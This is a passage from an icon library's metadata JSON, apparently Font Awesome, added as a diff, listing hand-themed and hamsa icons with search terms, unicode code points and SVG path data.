88.93-1.53l238.13-255.07c-3.96-2.91-7.9-5.87-11.44-9.41l-49.14-49.14z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M571.31 193.94l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31-28.9-28.9c5.63-21.31.36-44.9-16.35-61.61l-45.25-45.25c-62.48-62.48-163.79-62.48-226.28 0l90.51 45.25v18.75c0 16.97 6.74 33.25 18.75 45.25l49.14 49.14c16.71 16.71 40.3 21.98 61.61 16.35l28.9 28.9-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l90.51-90.51c6.23-6.24 6.23-16.37-.02-22.62zm-286.72-15.2c-3.7-3.7-6.84-7.79-9.85-11.95L19.64 404.96c-25.57 23.88-26.26 64.19-1.53 88.93s65.05 24.05 88.93-1.53l238.13-255.07c-3.96-2.91-7.9-5.87-11.44-9.41l-49.14-49.14z" + } + }, + "free": [ + "solid" + ] + }, + "hamsa": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "amulet", + "christianity", + "islam", + "jewish", + "judaism", + "muslim", + "protection" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f665", + "label": "Hamsa", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635518, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M509.34 307.25C504.28 295.56 492.75 288 480 288h-64V80c0-22-18-40-40-40s-40 18-40 40v134c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V40c0-22-18-40-40-40s-40 18-40 40v174c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V80c0-22-18-40-40-40S96 58 96 80v208H32c-12.75 0-24.28 7.56-29.34 19.25a31.966 31.966 0 0 0 5.94 34.58l102.69 110.03C146.97 490.08 199.69 512 256 512s109.03-21.92 144.72-60.14L503.4 341.83a31.966 31.966 0 0 0 5.94-34.58zM256 416c-53.02 0-96-64-96-64s42.98-64 96-64 96 64 96 64-42.98 64-96 64zm0-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M509.34 307.25C504.28 295.56 492.75 288 480 288h-64V80c0-22-18-40-40-40s-40 18-40 40v134c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V40c0-22-18-40-40-40s-40 18-40 40v174c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V80c0-22-18-40-40-40S96 58 96 80v208H32c-12.75 0-24.28 7.56-29.34 19.25a31.966 31.966 0 0 0 5.94 34.58l102.69 110.03C146.97 490.08 199.69 512 256 512s109.03-21.92 144.72-60.14L503.4 341.83a31.966 31.966 0 0 0 5.94-34.58zM256 416c-53.02 0-96-64-96-64s42.98-64 96-64 96 64 96 64-42.98 64-96 64zm0-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "hand-holding": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "carry", + "lift" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4bd", + "label": "Hand Holding", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635521, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M565.3 328.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M565.3 328.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z" + } + }, + "free": [ + "solid" + ] + }, + "hand-holding-heart": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "carry", + "charity", + "gift", + "lift", + "package" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4be", + "label": "Hand Holding Heart", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635519, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M275.3 250.5c7 7.4 18.4 7.4 25.5 0l108.9-114.2c31.6-33.2 29.8-88.2-5.6-118.8-30.8-26.7-76.7-21.9-104.9 7.7L288 36.9l-11.1-11.6C248.7-4.4 202.8-9.2 172 17.5c-35.3 30.6-37.2 85.6-5.6 118.8l108.9 114.2zm290 77.6c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M275.3 250.5c7 7.4 18.4 7.4 25.5 0l108.9-114.2c31.6-33.2 29.8-88.2-5.6-118.8-30.8-26.7-76.7-21.9-104.9 7.7L288 36.9l-11.1-11.6C248.7-4.4 202.8-9.2 172 17.5c-35.3 30.6-37.2 85.6-5.6 118.8l108.9 114.2zm290 77.6c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z" + } + }, + "free": [ + "solid" + ] + }, + "hand-holding-medical": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "care", + "covid-19", + "donate", + "help" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e05c", + "label": "Hand Holding Medical Cross", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635519, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M159.88,175.82h64v64a16,16,0,0,0,16,16h64a16,16,0,0,0,16-16v-64h64a16,16,0,0,0,16-16v-64a16,16,0,0,0-16-16h-64v-64a16,16,0,0,0-16-16h-64a16,16,0,0,0-16,16v64h-64a16,16,0,0,0-16,16v64A16,16,0,0,0,159.88,175.82ZM568.07,336.13a39.91,39.91,0,0,0-55.93-8.47L392.47,415.84H271.86a16,16,0,0,1,0-32H350.1c16,0,30.75-10.87,33.37-26.61a32.06,32.06,0,0,0-31.62-37.38h-160a117.7,117.7,0,0,0-74.12,26.25l-46.5,37.74H15.87a16.11,16.11,0,0,0-16,16v96a16.11,16.11,0,0,0,16,16h347a104.8,104.8,0,0,0,61.7-20.27L559.6,392A40,40,0,0,0,568.07,336.13Z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M159.88,175.82h64v64a16,16,0,0,0,16,16h64a16,16,0,0,0,16-16v-64h64a16,16,0,0,0,16-16v-64a16,16,0,0,0-16-16h-64v-64a16,16,0,0,0-16-16h-64a16,16,0,0,0-16,16v64h-64a16,16,0,0,0-16,16v64A16,16,0,0,0,159.88,175.82ZM568.07,336.13a39.91,39.91,0,0,0-55.93-8.47L392.47,415.84H271.86a16,16,0,0,1,0-32H350.1c16,0,30.75-10.87,33.37-26.61a32.06,32.06,0,0,0-31.62-37.38h-160a117.7,117.7,0,0,0-74.12,26.25l-46.5,37.74H15.87a16.11,16.11,0,0,0-16,16v96a16.11,16.11,0,0,0,16,16h347a104.8,104.8,0,0,0,61.7-20.27L559.6,392A40,40,0,0,0,568.07,336.13Z" + } + }, + "free": [ + "solid" + ] + }, + "hand-holding-usd": { + "changes": [ + "5.0.9", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "$", + "carry", + "dollar sign", + "donation", + "giving", + "lift", + "money", + "price" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4c0", + "label": "Hand Holding US Dollar", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635520, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M271.06,144.3l54.27,14.3a8.59,8.59,0,0,1,6.63,8.1c0,4.6-4.09,8.4-9.12,8.4h-35.6a30,30,0,0,1-11.19-2.2c-5.24-2.2-11.28-1.7-15.3,2l-19,17.5a11.68,11.68,0,0,0-2.25,2.66,11.42,11.42,0,0,0,3.88,15.74,83.77,83.77,0,0,0,34.51,11.5V240c0,8.8,7.83,16,17.37,16h17.37c9.55,0,17.38-7.2,17.38-16V222.4c32.93-3.6,57.84-31,53.5-63-3.15-23-22.46-41.3-46.56-47.7L282.68,97.4a8.59,8.59,0,0,1-6.63-8.1c0-4.6,4.09-8.4,9.12-8.4h35.6A30,30,0,0,1,332,83.1c5.23,2.2,11.28,1.7,15.3-2l19-17.5A11.31,11.31,0,0,0,368.47,61a11.43,11.43,0,0,0-3.84-15.78,83.82,83.82,0,0,0-34.52-11.5V16c0-8.8-7.82-16-17.37-16H295.37C285.82,0,278,7.2,278,16V33.6c-32.89,3.6-57.85,31-53.51,63C227.63,119.6,247,137.9,271.06,144.3ZM565.27,328.1c-11.8-10.7-30.2-10-42.6,0L430.27,402a63.64,63.64,0,0,1-40,14H272a16,16,0,0,1,0-32h78.29c15.9,0,30.71-10.9,33.25-26.6a31.2,31.2,0,0,0,.46-5.46A32,32,0,0,0,352,320H192a117.66,117.66,0,0,0-74.1,26.29L71.4,384H16A16,16,0,0,0,0,400v96a16,16,0,0,0,16,16H372.77a64,64,0,0,0,40-14L564,377a32,32,0,0,0,1.28-48.9Z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M271.06,144.3l54.27,14.3a8.59,8.59,0,0,1,6.63,8.1c0,4.6-4.09,8.4-9.12,8.4h-35.6a30,30,0,0,1-11.19-2.2c-5.24-2.2-11.28-1.7-15.3,2l-19,17.5a11.68,11.68,0,0,0-2.25,2.66,11.42,11.42,0,0,0,3.88,15.74,83.77,83.77,0,0,0,34.51,11.5V240c0,8.8,7.83,16,17.37,16h17.37c9.55,0,17.38-7.2,17.38-16V222.4c32.93-3.6,57.84-31,53.5-63-3.15-23-22.46-41.3-46.56-47.7L282.68,97.4a8.59,8.59,0,0,1-6.63-8.1c0-4.6,4.09-8.4,9.12-8.4h35.6A30,30,0,0,1,332,83.1c5.23,2.2,11.28,1.7,15.3-2l19-17.5A11.31,11.31,0,0,0,368.47,61a11.43,11.43,0,0,0-3.84-15.78,83.82,83.82,0,0,0-34.52-11.5V16c0-8.8-7.82-16-17.37-16H295.37C285.82,0,278,7.2,278,16V33.6c-32.89,3.6-57.85,31-53.51,63C227.63,119.6,247,137.9,271.06,144.3ZM565.27,328.1c-11.8-10.7-30.2-10-42.6,0L430.27,402a63.64,63.64,0,0,1-40,14H272a16,16,0,0,1,0-32h78.29c15.9,0,30.71-10.9,33.25-26.6a31.2,31.2,0,0,0,.46-5.46A32,32,0,0,0,352,320H192a117.66,117.66,0,0,0-74.1,26.29L71.4,384H16A16,16,0,0,0,0,400v96a16,16,0,0,0,16,16H372.77a64,64,0,0,0,40-14L564,377a32,32,0,0,0,1.28-48.9Z" + } + }, + "free": [ + "solid" + ] + }, + "hand-holding-water": { + "changes": [ + "5.0.9", + "5.13.0" + ], + "ligatures": [], + "search": { + "terms": [ + "carry", + "covid-19", + "drought", + "grow", + "lift" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4c1", + "label": "Hand Holding Water", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635520, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 256c53 0 96-42.1 96-94 0-40-57.1-120.7-83.2-155.6-6.4-8.5-19.2-8.5-25.6 0C249.1 41.3 192 122 192 162c0 51.9 43 94 96 94zm277.3 72.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M288 256c53 0 96-42.1 96-94 0-40-57.1-120.7-83.2-155.6-6.4-8.5-19.2-8.5-25.6 0C249.1 41.3 192 122 192 162c0 51.9 43 94 96 94zm277.3 72.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z" + } + }, + "free": [ + "solid" + ] + }, + "hand-lizard": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "game", + "roshambo" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f258", + "label": "Lizard (Hand)", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635521, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 480h192V363.778a95.998 95.998 0 0 0-14.833-51.263L398.127 54.368A48 48 0 0 0 357.544 32H24C10.745 32 0 42.745 0 56v16c0 30.928 25.072 56 56 56h229.981c12.844 0 21.556 13.067 16.615 24.923l-21.41 51.385A32 32 0 0 1 251.648 224H128c-35.346 0-64 28.654-64 64v8c0 13.255 10.745 24 24 24h147.406a47.995 47.995 0 0 1 25.692 7.455l111.748 70.811A24.001 24.001 0 0 1 384 418.539V480z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M384 480h192V363.778a95.998 95.998 0 0 0-14.833-51.263L398.127 54.368A48 48 0 0 0 357.544 32H24C10.745 32 0 42.745 0 56v16c0 30.928 25.072 56 56 56h229.981c12.844 0 21.556 13.067 16.615 24.923l-21.41 51.385A32 32 0 0 1 251.648 224H128c-35.346 0-64 28.654-64 64v8c0 13.255 10.745 24 24 24h147.406a47.995 47.995 0 0 1 25.692 7.455l111.748 70.811A24.001 24.001 0 0 1 384 418.539V480z" + }, + "regular": { + "last_modified": 1628088634846, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M556.686 290.542L410.328 64.829C397.001 44.272 374.417 32 349.917 32H56C25.121 32 0 57.122 0 88v8c0 44.112 35.888 80 80 80h196.042l-18.333 48H144c-48.523 0-88 39.477-88 88 0 30.879 25.121 56 56 56h131.552c2.987 0 5.914.549 8.697 1.631L352 408.418V480h224V355.829c0-23.225-6.679-45.801-19.314-65.287zM528 432H400v-23.582c0-19.948-12.014-37.508-30.604-44.736l-99.751-38.788A71.733 71.733 0 0 0 243.552 320H112c-4.411 0-8-3.589-8-8 0-22.056 17.944-40 40-40h113.709c19.767 0 37.786-12.407 44.84-30.873l24.552-64.281c8.996-23.553-8.428-48.846-33.63-48.846H80c-17.645 0-32-14.355-32-32v-8c0-4.411 3.589-8 8-8h293.917c8.166 0 15.693 4.09 20.137 10.942l146.358 225.715A71.84 71.84 0 0 1 528 355.829V432z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M556.686 290.542L410.328 64.829C397.001 44.272 374.417 32 349.917 32H56C25.121 32 0 57.122 0 88v8c0 44.112 35.888 80 80 80h196.042l-18.333 48H144c-48.523 0-88 39.477-88 88 0 30.879 25.121 56 56 56h131.552c2.987 0 5.914.549 8.697 1.631L352 408.418V480h224V355.829c0-23.225-6.679-45.801-19.314-65.287zM528 432H400v-23.582c0-19.948-12.014-37.508-30.604-44.736l-99.751-38.788A71.733 71.733 0 0 0 243.552 320H112c-4.411 0-8-3.589-8-8 0-22.056 17.944-40 40-40h113.709c19.767 0 37.786-12.407 44.84-30.873l24.552-64.281c8.996-23.553-8.428-48.846-33.63-48.846H80c-17.645 0-32-14.355-32-32v-8c0-4.411 3.589-8 8-8h293.917c8.166 0 15.693 4.09 20.137 10.942l146.358 225.715A71.84 71.84 0 0 1 528 355.829V432z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "hand-middle-finger": { + "changes": [ + "5.7.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "flip the bird", + "gesture", + "hate", + "rude" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f806", + "label": "Hand with Middle Finger Raised", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635521, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M479.93 317.12a37.33 37.33 0 0 0-28.28-36.19L416 272v-49.59c0-11.44-9.69-21.29-23.15-23.54l-38.4-6.4C336.63 189.5 320 200.86 320 216v32a8 8 0 0 1-16 0V50c0-26.28-20.25-49.2-46.52-50A48 48 0 0 0 208 48v200a8 8 0 0 1-16 0v-32c0-15.15-16.63-26.51-34.45-23.54l-30.68 5.12c-18 3-30.87 16.12-30.87 31.38V376a8 8 0 0 1-16 0v-76l-27.36 15A37.34 37.34 0 0 0 32 348.4v73.47a37.31 37.31 0 0 0 10.93 26.39l30.93 30.93A112 112 0 0 0 153.05 512h215A112 112 0 0 0 480 400z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M479.93 317.12a37.33 37.33 0 0 0-28.28-36.19L416 272v-49.59c0-11.44-9.69-21.29-23.15-23.54l-38.4-6.4C336.63 189.5 320 200.86 320 216v32a8 8 0 0 1-16 0V50c0-26.28-20.25-49.2-46.52-50A48 48 0 0 0 208 48v200a8 8 0 0 1-16 0v-32c0-15.15-16.63-26.51-34.45-23.54l-30.68 5.12c-18 3-30.87 16.12-30.87 31.38V376a8 8 0 0 1-16 0v-76l-27.36 15A37.34 37.34 0 0 0 32 348.4v73.47a37.31 37.31 0 0 0 10.93 26.39l30.93 30.93A112 112 0 0 0 153.05 512h215A112 112 0 0 0 480 400z" + } + }, + "free": [ + "solid" + ] + }, + "hand-paper": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "game", + "halt", + "roshambo", + "stop" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f256", + "label": "Paper (Hand)", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635522, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M408.781 128.007C386.356 127.578 368 146.36 368 168.79V256h-8V79.79c0-22.43-18.356-41.212-40.781-40.783C297.488 39.423 280 57.169 280 79v177h-8V40.79C272 18.36 253.644-.422 231.219.007 209.488.423 192 18.169 192 40v216h-8V80.79c0-22.43-18.356-41.212-40.781-40.783C121.488 40.423 104 58.169 104 80v235.992l-31.648-43.519c-12.993-17.866-38.009-21.817-55.877-8.823-17.865 12.994-21.815 38.01-8.822 55.877l125.601 172.705A48 48 0 0 0 172.073 512h197.59c22.274 0 41.622-15.324 46.724-37.006l26.508-112.66a192.011 192.011 0 0 0 5.104-43.975V168c.001-21.831-17.487-39.577-39.218-39.993z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M408.781 128.007C386.356 127.578 368 146.36 368 168.79V256h-8V79.79c0-22.43-18.356-41.212-40.781-40.783C297.488 39.423 280 57.169 280 79v177h-8V40.79C272 18.36 253.644-.422 231.219.007 209.488.423 192 18.169 192 40v216h-8V80.79c0-22.43-18.356-41.212-40.781-40.783C121.488 40.423 104 58.169 104 80v235.992l-31.648-43.519c-12.993-17.866-38.009-21.817-55.877-8.823-17.865 12.994-21.815 38.01-8.822 55.877l125.601 172.705A48 48 0 0 0 172.073 512h197.59c22.274 0 41.622-15.324 46.724-37.006l26.508-112.66a192.011 192.011 0 0 0 5.104-43.975V168c.001-21.831-17.487-39.577-39.218-39.993z" + }, + "regular": { + "last_modified": 1628088634846, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M372.57 112.641v-10.825c0-43.612-40.52-76.691-83.039-65.546-25.629-49.5-94.09-47.45-117.982.747C130.269 26.456 89.144 57.945 89.144 102v126.13c-19.953-7.427-43.308-5.068-62.083 8.871-29.355 21.796-35.794 63.333-14.55 93.153L132.48 498.569a32 32 0 0 0 26.062 13.432h222.897c14.904 0 27.835-10.289 31.182-24.813l30.184-130.958A203.637 203.637 0 0 0 448 310.564V179c0-40.62-35.523-71.992-75.43-66.359zm27.427 197.922c0 11.731-1.334 23.469-3.965 34.886L368.707 464h-201.92L51.591 302.303c-14.439-20.27 15.023-42.776 29.394-22.605l27.128 38.079c8.995 12.626 29.031 6.287 29.031-9.283V102c0-25.645 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V67c0-25.663 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V101.125c0-25.672 36.57-24.81 36.57.691V256c0 8.837 7.163 16 16 16h6.857c8.837 0 16-7.163 16-16v-76.309c0-26.242 36.57-25.64 36.57-.691v131.563z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M372.57 112.641v-10.825c0-43.612-40.52-76.691-83.039-65.546-25.629-49.5-94.09-47.45-117.982.747C130.269 26.456 89.144 57.945 89.144 102v126.13c-19.953-7.427-43.308-5.068-62.083 8.871-29.355 21.796-35.794 63.333-14.55 93.153L132.48 498.569a32 32 0 0 0 26.062 13.432h222.897c14.904 0 27.835-10.289 31.182-24.813l30.184-130.958A203.637 203.637 0 0 0 448 310.564V179c0-40.62-35.523-71.992-75.43-66.359zm27.427 197.922c0 11.731-1.334 23.469-3.965 34.886L368.707 464h-201.92L51.591 302.303c-14.439-20.27 15.023-42.776 29.394-22.605l27.128 38.079c8.995 12.626 29.031 6.287 29.031-9.283V102c0-25.645 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V67c0-25.663 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V101.125c0-25.672 36.57-24.81 36.57.691V256c0 8.837 7.163 16 16 16h6.857c8.837 0 16-7.163 16-16v-76.309c0-26.242 36.57-25.64 36.57-.691v131.563z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "hand-peace": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "rest", + "truce" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f25b", + "label": "Peace (Hand)", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635522, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M408 216c-22.092 0-40 17.909-40 40h-8v-32c0-22.091-17.908-40-40-40s-40 17.909-40 40v32h-8V48c0-26.51-21.49-48-48-48s-48 21.49-48 48v208h-13.572L92.688 78.449C82.994 53.774 55.134 41.63 30.461 51.324 5.787 61.017-6.356 88.877 3.337 113.551l74.765 190.342-31.09 24.872c-15.381 12.306-19.515 33.978-9.741 51.081l64 112A39.998 39.998 0 0 0 136 512h240c18.562 0 34.686-12.77 38.937-30.838l32-136A39.97 39.97 0 0 0 448 336v-80c0-22.091-17.908-40-40-40z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M408 216c-22.092 0-40 17.909-40 40h-8v-32c0-22.091-17.908-40-40-40s-40 17.909-40 40v32h-8V48c0-26.51-21.49-48-48-48s-48 21.49-48 48v208h-13.572L92.688 78.449C82.994 53.774 55.134 41.63 30.461 51.324 5.787 61.017-6.356 88.877 3.337 113.551l74.765 190.342-31.09 24.872c-15.381 12.306-19.515 33.978-9.741 51.081l64 112A39.998 39.998 0 0 0 136 512h240c18.562 0 34.686-12.77 38.937-30.838l32-136A39.97 39.97 0 0 0 448 336v-80c0-22.091-17.908-40-40-40z" + }, + "regular": { + "last_modified": 1628088634847, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M362.146 191.976c-13.71-21.649-38.761-34.016-65.006-30.341V74c0-40.804-32.811-74-73.141-74-40.33 0-73.14 33.196-73.14 74L160 168l-18.679-78.85C126.578 50.843 83.85 32.11 46.209 47.208 8.735 62.238-9.571 104.963 5.008 142.85l55.757 144.927c-30.557 24.956-43.994 57.809-24.733 92.218l54.853 97.999C102.625 498.97 124.73 512 148.575 512h205.702c30.744 0 57.558-21.44 64.555-51.797l27.427-118.999a67.801 67.801 0 0 0 1.729-15.203L448 256c0-44.956-43.263-77.343-85.854-64.024zM399.987 326c0 1.488-.169 2.977-.502 4.423l-27.427 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H148.575c-6.486 0-12.542-3.621-15.805-9.449l-54.854-98c-4.557-8.141-2.619-18.668 4.508-24.488l26.647-21.764a16 16 0 0 0 4.812-18.139l-64.09-166.549C37.226 92.956 84.37 74.837 96.51 106.389l59.784 155.357A16 16 0 0 0 171.227 272h11.632c8.837 0 16-7.163 16-16V74c0-34.375 50.281-34.43 50.281 0v182c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16v-28c0-25.122 36.567-25.159 36.567 0v28c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16 0-25.12 36.567-25.16 36.567 0v70z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M362.146 191.976c-13.71-21.649-38.761-34.016-65.006-30.341V74c0-40.804-32.811-74-73.141-74-40.33 0-73.14 33.196-73.14 74L160 168l-18.679-78.85C126.578 50.843 83.85 32.11 46.209 47.208 8.735 62.238-9.571 104.963 5.008 142.85l55.757 144.927c-30.557 24.956-43.994 57.809-24.733 92.218l54.853 97.999C102.625 498.97 124.73 512 148.575 512h205.702c30.744 0 57.558-21.44 64.555-51.797l27.427-118.999a67.801 67.801 0 0 0 1.729-15.203L448 256c0-44.956-43.263-77.343-85.854-64.024zM399.987 326c0 1.488-.169 2.977-.502 4.423l-27.427 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H148.575c-6.486 0-12.542-3.621-15.805-9.449l-54.854-98c-4.557-8.141-2.619-18.668 4.508-24.488l26.647-21.764a16 16 0 0 0 4.812-18.139l-64.09-166.549C37.226 92.956 84.37 74.837 96.51 106.389l59.784 155.357A16 16 0 0 0 171.227 272h11.632c8.837 0 16-7.163 16-16V74c0-34.375 50.281-34.43 50.281 0v182c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16v-28c0-25.122 36.567-25.159 36.567 0v28c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16 0-25.12 36.567-25.16 36.567 0v70z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "hand-point-down": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "finger", + "hand-o-down", + "point" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f0a7", + "label": "Hand Pointing Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635523, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M91.826 467.2V317.966c-8.248 5.841-16.558 10.57-24.918 14.153C35.098 345.752-.014 322.222 0 288c.008-18.616 10.897-32.203 29.092-40 28.286-12.122 64.329-78.648 77.323-107.534 7.956-17.857 25.479-28.453 43.845-28.464l.001-.002h171.526c11.812 0 21.897 8.596 23.703 20.269 7.25 46.837 38.483 61.76 38.315 123.731-.007 2.724.195 13.254.195 16 0 50.654-22.122 81.574-71.263 72.6-9.297 18.597-39.486 30.738-62.315 16.45-21.177 24.645-53.896 22.639-70.944 